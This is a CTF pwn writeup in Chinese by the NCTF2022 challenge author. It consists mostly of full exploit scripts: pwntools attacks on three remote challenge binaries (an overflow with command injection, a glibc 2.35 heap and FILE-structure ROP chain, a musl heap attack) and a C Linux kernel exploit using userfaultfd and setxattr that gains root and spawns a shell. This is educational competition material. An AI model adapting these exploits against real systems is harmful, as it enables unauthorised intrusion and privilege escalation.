NCTF2022 - pwn 部分 wp

总的来说我出的几题不是很难，主要是想把自己感觉有意思的一些东西分享给大家。

ezlogin

程序设计周大作业稍加改编出的题目。洞在Tea里，有个数组越界写，为了避开\x00截断，我给了*可以对其进行替换。最后base64带出flag。

from pwn import*
context(os='linux',arch='amd64',log_level='debug')

s = remote('49.233.15.226', 8001)

canary = u64(s.recv(7).rjust(8,b'\x00'))
success('canary=>' + hex(canary))

s.sendlineafter(b"3.exit\n>> ", b"1")

s.sendlineafter(b"Please put the content you want to encrypt into '1.txt'", b'a'*0x52 + b'*'+chr((canary>>32)&0xff).encode()+b'c'*6+b'\x75**')

s.sendlineafter(b"When you finish  please input 'Y'\n", b"Y")
s.sendlineafter(b"5.RC4\n>> ", b"4")
s.sendlineafter(b"for example: 0x10 0x20 0x30 0x10 \n> ", b"0x10 0x20 0x30 0x10")

sleep(1)
s.sendline(b"echo `base64 /flag` | base64 -d")
s.interactive()

ezlink

2.35堆利用，两次show，一次泄露heap_base，(可以反推，不过我直接用笨办法本地硬跑一下)利用沙盒残留的地址泄露libc_base，其他随便找个IO打一下即可。

from pwn import*
import time
context(os='linux',arch='amd64',log_level='debug')

libc = ELF('./libc-2.35.s0')

def add(content):
	s.sendlineafter(b'>> ', b'1')
	s.sendafter(b'Please input your secret\n', content)

def delete():
	s.sendlineafter(b'>> ', b'2')

def show():
	s.sendlineafter(b'>> ', b'3')

def edit(content):
	s.sendlineafter(b'>> ', b'4')
	s.sendafter(b'Please input content\n', content)

def get_heap_base(target):
	start_time = time.time()
	base = 0x550000000000
	while(1):
		if(((base+0x1000)>>12) ^ (base+0x1590) == target):
			end_time = time.time()
			print(end_time-start_time)
			return base
		if(base == 0x560000000000):
			end_time = time.time()
			print(end_time-start_time)
			print('[-] get heap base failed')
			return 0xdeadbeef
		base+= 0x1000

def pwn():
	add(b'a')
	delete()
	add(b'\x00')
	show()
	s.recvuntil(b'you only have two chances to peep a secret\n')
	heap_base = u64(s.recv(6).ljust(8,b'\x00'))
	success(hex(heap_base))
	assert(heap_base & 0xff0000000000 == 0x550000000000)
	heap_base = get_heap_base(heap_base)
	assert(heap_base & 0xfff == 0)
	success('heap_base=>' + hex(heap_base))

	delete()
	edit(p64(((heap_base+0x1000)>>12)^(heap_base+0x300)))
	add(b'\x60')
	show()
	libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x246d60
	success('libc_base=>' + hex(libc_base))

	pop_rax_ret = libc_base + 0x0000000000045eb0
	pop_rdi_ret = libc_base + 0x000000000002a3e5
	pop_rsi_ret = libc_base + 0x000000000002be51
	pop_rdx_ret_r12 = libc_base + 0x000000000011f497
	pop_rsp_ret = libc_base + 0x0000000000035732
	syscall_ret = libc_base + 0x0000000000091396

	rop_addr = heap_base
	orw_addr = heap_base
	fake_IO_addr = heap_base + 0x17e0

	fake_IO_file = p64(0) + p64(0)
	fake_IO_file+= p64(0)*3 + p64(1)                     # IO
	fake_IO_file+= p64(0)*7 + p64(0)                     # _chain
	fake_IO_file+= p64(0) + p64(0xffffffffffffffff) + p64(0)
	fake_IO_file+= p64(heap_base + 0x1000) + p64(0xffffffffffffffff) + p64(0)
	fake_IO_file+= p64(heap_base + 0x1e10 + 0x50 - 0xe0) # _wide_data
	fake_IO_file+= p64(0)*2 + p64(1) + p64(0)*5
	fake_IO_file+= p64(libc_base + libc.sym['_IO_wfile_jumps'])

	print(hex(len(fake_IO_file)))

	add(fake_IO_file[:0xd0])

	add(b'a')
	delete()
	edit(p64(((heap_base+0x1000)>>12)^(heap_base+0x18a0)))
	add(fake_IO_file[0xd0:])

	add(b'a')
	delete()
	edit(p64(((heap_base+0x1000)>>12)^(libc_base+libc.sym['_IO_list_all'])))
	add(p64(fake_IO_addr))

	payload = p64(libc_base + libc.sym['setcontext'] + 61) + p64(0)
	payload+= p64(heap_base + 0x1e10 + 0x58) + p64(pop_rdi_ret + 1)
	payload+= p64(0)*6
	payload+= p64(heap_base + 0x1e10 - 0x68)
	payload+= p64(pop_rdi_ret) + p64(0)
	payload+= p64(pop_rsi_ret) + p64(heap_base + 0x3000)
	payload+= p64(pop_rdx_ret_r12) + p64(0x500) + p64(0)
	payload+= p64(libc_base + libc.sym['read'])
	payload+= p64(pop_rsp_ret) + p64(heap_base + 0x3000)

	add(payload) # _wide_vtable

	# open
	orw = p64(pop_rdi_ret) + p64(heap_base + 0x3000 + 0x300)
	orw+= p64(pop_rsi_ret) + p64(0)
	orw+= p64(pop_rdx_ret_r12) + p64(0) + p64(0)
	orw+= p64(libc_base + libc.sym['open'])
	# getdents64
	orw+= p64(pop_rdi_ret) + p64(3)
	orw+= p64(pop_rsi_ret) + p64(heap_base + 0x5000)
	orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)
	orw+= p64(pop_rax_ret) + p64(217)
	orw+= p64(syscall_ret)
	# write
	orw+= p64(pop_rdi_ret) + p64(1)
	orw+= p64(pop_rsi_ret) + p64(heap_base + 0x5000)
	orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)
	orw+= p64(libc_base + libc.sym['write'])
	# open
	orw+= p64(pop_rdi_ret) + p64(heap_base + 0x5000 + 0xa3)
	orw+= p64(pop_rsi_ret) + p64(0)
	orw+= p64(pop_rdx_ret_r12) + p64(0) + p64(0)
	orw+= p64(libc_base + libc.sym['open'])
	# read
	orw+= p64(pop_rdi_ret) + p64(4)
	orw+= p64(pop_rsi_ret) + p64(heap_base + 0x6000)
	orw+= p64(pop_rdx_ret_r12) + p64(0x200) + p64(0)
	orw+= p64(libc_base + libc.sym['read'])
	# puts
	orw+= p64(pop_rdi_ret) + p64(heap_base + 0x6000)
	orw+= p64(libc_base + libc.sym['puts'])
	# exit
	orw+= p64(libc_base + libc.sym['exit'])
	
	orw = orw.ljust(0x300,b'\x00')
	orw+= b'.\x00'

	s.sendlineafter(b'>> ', b'5') # b _IO_wdoallocbuf

	sleep(1)
	s.sendline(orw)

	s.recvuntil(b'NCTF')
	success(b'NCTF' + s.recvuntil(b'}'))

	s.interactive()

while True:
	try:
		s = remote('49.233.15.226', 8003)
		pwn()
	except:
		s.close()
		continue

babyLinkedList

1.2.2的musl，给了任意地址写，可以打栈，可以伪造meta，本地和远程布局稍有不同，给出了部分dockerfile可以拉个docker出来看看。最后加了个suid date提权。

from pwn import*
context(os='linux',arch='amd64',log_level='debug')

s = remote('49.233.15.226', 8002)

def add(size,content):
	s.sendlineafter(b'>> ', b'1')
	s.sendlineafter(b'Please input size\n', str(size))
	s.sendafter(b'Please input content\n', content)

def delete():
	s.sendlineafter(b'>> ', b'2')

def show():
	s.sendlineafter(b'>> ', b'3')

def edit(content):
	s.sendlineafter(b'>> ', b'4')
	sleep(0.1)
	s.send(content)

add(0x20, b'a')
add(0x18, b'a')
edit(b'a'*0x20)
show()
# 0x7f60b75bcce0
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))  - 0xa6ce0
success('libc_base=>' + hex(libc_base))

__malloc_context = libc_base + 0xa3aa0
__stdout_used = libc_base + 0xa3410

edit(b'\x00'*0x18 + b'\x00'*5 + b'\x81' + b'\x02\x00' + p64(__stdout_used))

edit(p64(libc_base - 0x4000))

payload = b'/home/ctf/flag'+b'\x00'*(0x10-14)#b'\x00'*0x10
payload+= p64(libc_base - 0x4000 + 0x50)
payload+= p64(libc_base  + 0x0000000000015286) # ret
payload+= b'\x00'*8
payload+= p64(libc_base + 0x0000000000050e9c) # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];


# open
payload+= p64(libc_base + 0x0000000000015c8e) + p64(libc_base - 0x4000 + 0x20)
payload+= p64(libc_base + 0x0000000000016242) + p64(0)
payload+= p64(libc_base + 0x0000000000019418) + p64(0)
payload+= p64(libc_base + 0x0000000000018644) + p64(2)
payload+= p64(libc_base + 0x0000000000022747)

# read
payload+= p64(libc_base + 0x0000000000015c8e) + p64(3)
payload+= p64(libc_base + 0x0000000000016242) + p64(libc_base - 0x4000 + 0x1000)
payload+= p64(libc_base + 0x0000000000019418) + p64(0x100)
payload+= p64(libc_base + 0x0000000000018644) + p64(0)
payload+= p64(libc_base + 0x0000000000022747)

# write
payload+= p64(libc_base + 0x0000000000015c8e) + p64(1)
payload+= p64(libc_base + 0x0000000000016242) + p64(libc_base - 0x4000 + 0x1000)
payload+= p64(libc_base + 0x0000000000019418) + p64(0x100)
payload+= p64(libc_base + 0x0000000000018644) + p64(1)
payload+= p64(libc_base + 0x0000000000022747)

# execv
payload+= p64(libc_base + 0x0000000000015c8e) + p64(libc_base + 0xA120F)
payload+= p64(libc_base + 0x0000000000016242) + p64(0)
payload+= p64(libc_base + 0x0000000000019418) + p64(0)
payload+= p64(libc_base + 0x0000000000018644) + p64(59)
payload+= p64(libc_base + 0x0000000000022747)

add(0x1500, payload)

s.sendlineafter(b'>> ', b'0')

sleep(1)

s.sendline(b"date -f /home/ctf/flag")
s.interactive()

babyyLinkedList

userfaultfd+setxatter占位，seq打ROP。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <poll.h>
#include <string.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>

#define PAGE_SIZE 0x1000

int fd;
int ret;
sem_t sem_delete;
size_t seq_fd;
size_t seq_fds[0x100];
size_t kernel_offset;
char *user_buf;
char *sleep_buf;

void ErrExit(char* err_msg)
{
	puts(err_msg);
	exit(-1);
}

void get_shell()
{
	if (getuid() == 0)
	{
		puts("\033[32m\033[1m[+] Successful to get the root.\033[0m");
		system("cat /flag;/bin/sh");
	}
	else
	{
		puts("[-] get shell error");
		exit(1);
	}
}

void register_userfault(void *fault_page,void *handler)
{
	pthread_t thr;
	struct uffdio_api ua;
	struct uffdio_register ur;
	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	ua.api = UFFD_API;
	ua.features = 0;
	if(ioctl(uffd, UFFDIO_API, &ua) == -1)
		ErrExit("[-] ioctl-UFFDIO_API error");
	
	ur.range.start = (unsigned long)fault_page; // the area we want to monitor
	ur.range.len = PAGE_SIZE;
	ur.mode = UFFDIO_REGISTER_MODE_MISSING;
	if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
		ErrExit("[-] ioctl-UFFDIO_REGISTER error");
	// open a thread, receive the wrong signal, and the handle it
	int s = pthread_create(&thr, NULL, handler, (void*)uffd);
	if(s!=0)
		ErrExit("[-] pthread-create error");
}

typedef struct
{
	uint64_t size;
	char *buf;
}Data;


void add(uint64_t size, char *buf)
{
	Data data;
	data.size = size;
	data.buf = buf;
	ioctl(fd, 0x6666, &data);
}

void delete(char *buf)
{
	Data data;
	data.size = 0;
	data.buf = buf;
	ioctl(fd, 0x7777, &data);
}

void* delete_thread(void* index)
{
	puts("[+] delete thread start");
	sem_wait(&sem_delete);
	delete(sleep_buf);
	return NULL;
}

void *userfault_leak_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	
	if(nready != 1)
		ErrExit("[-] wrong poll return value");
	nready = read(uffd, &msg, sizeof(msg));
	if(nready<=0)
		ErrExit("[-] msg error");
	
	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(page == MAP_FAILED)
		ErrExit("[-] mmap error");
	struct uffdio_copy uc;

	puts("\033[34m\033[1m[+] leak handler created\033[0m");
	pthread_t thr_delete;
	pthread_create(&thr_delete, NULL, delete_thread, (void*)0);
	sem_post(&sem_delete);

	sleep(1);
	if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0)
		ErrExit("open stat error");

	// init page
	memset(page, 0, sizeof(page));
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] leak handler done");
}

void *userfault_write_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	
	if(nready != 1)
		ErrExit("[-] wrong poll return value");
	nready = read(uffd, &msg, sizeof(msg));
	if(nready<=0)
		ErrExit("[-] msg error");
	
	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(page == MAP_FAILED)
		ErrExit("[-] mmap error");
	struct uffdio_copy uc;

	puts("\033[34m\033[1m[+] write handler created\033[0m");

	pthread_t thr_delete;
	pthread_create(&thr_delete, NULL, delete_thread, (void*)1);
	sem_post(&sem_delete);
	
	sleep(1);

	memset(page, 0, sizeof(page));
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] write handler done");
}

void *userfault_sleep_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	
	if(nready != 1)
		ErrExit("[-] wrong poll return value");
	nready = read(uffd, &msg, sizeof(msg));
	if(nready<=0)
		ErrExit("[-] msg error");
	
	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(page == MAP_FAILED)
		ErrExit("[-] mmap error");
	struct uffdio_copy uc;

	puts("[+] sleep handler created");
	sleep(100);

	// init page
	memset(page, 0, sizeof(page));
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] sleep handler done");
}

size_t pop_rdi_ret = 0xffffffff81086aa0;
size_t pop_rbp_ret = 0xffffffff810005ae;
size_t init_cred = 0xffffffff82a5fa40;
size_t commit_creds = 0xffffffff810c3d30;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00a44;
size_t add_rsp_ret = 0xffffffff8188fba1;

void *userfault_hijack_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	
	if(nready != 1)
		ErrExit("[-] wrong poll return value");
	nready = read(uffd, &msg, sizeof(msg));
	if(nready<=0)
		ErrExit("[-] msg error");
	
	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(page == MAP_FAILED)
		ErrExit("[-] mmap error");
	struct uffdio_copy uc;

	puts("\033[34m\033[1m[+] hijack handler created\033[0m");
	puts("[+] tigger..");

	pop_rdi_ret += kernel_offset;
	pop_rbp_ret += kernel_offset;
	init_cred += kernel_offset;
	commit_creds += kernel_offset;
	swapgs_restore_regs_and_return_to_usermode += kernel_offset;

	__asm__(
	"mov r15,   0x1111111111;"
	"mov r14,   0x2222222222;"
	"mov r13,   0x3333333333;"
	"mov r12,   pop_rdi_ret;"
	"mov rbp,   init_cred;"
	"mov rbx,   pop_rbp_ret;"    
	"mov r11,   0x246;"
	"mov r10,   commit_creds;"
	"mov r9,    swapgs_restore_regs_and_return_to_usermode;"
	"mov r8,    0xaaaaaaaaaa;"
	"xor rax,   rax;"
	"mov rcx,   0xbbbbbbbbbb;"
	"mov rdx,   8;"
	"mov rsi,   rsp;"
	"mov rdi,   seq_fd;"
	"syscall"
	);

	printf("[+] uid: %d gid: %d\n", getuid(), getgid());
	get_shell();
        
	// init page
	memset(page, 0, sizeof(page));
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] hijack handler done");
}

int main()
{
	char *leak_buf;
	char *write_buf;
	char* hijack_buf;
	char leak_data[0x10];
	char write_data[0x10];
	cpu_set_t cpu_set;

	CPU_ZERO(&cpu_set);
	CPU_SET(0, &cpu_set);
	sched_setaffinity(0, sizeof(cpu_set), &cpu_set);

	sem_init(&sem_delete, 0, 0);

	fd = open("/proc/babyLinkedList", O_RDONLY);
	
	//for(int i=0; i<100; i++)
	//	if ((seq_fds[i] = open("/proc/self/stat", O_RDONLY)) < 0)
	//		ErrExit("open stat error");

	leak_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	register_userfault(leak_buf, userfault_leak_handler);
	
	write_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	register_userfault(write_buf, userfault_write_handler);
	
	sleep_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	register_userfault(sleep_buf, userfault_sleep_handler);

	add(0x20, leak_buf);
	delete(leak_data);
	kernel_offset = ((size_t*)leak_data)[0];
	kernel_offset-= 0xffffffff812f2db0;
	printf("\033[33m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset);

	add(0x20, write_buf);

	hijack_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	register_userfault(hijack_buf+PAGE_SIZE, userfault_hijack_handler);
	*(size_t*)(hijack_buf + PAGE_SIZE - 8) = 0xffffffff8188fba1 + kernel_offset;

	setxattr("/tmp/exp", "FXC", hijack_buf + PAGE_SIZE - 8, 32, 0);
	return 0;
}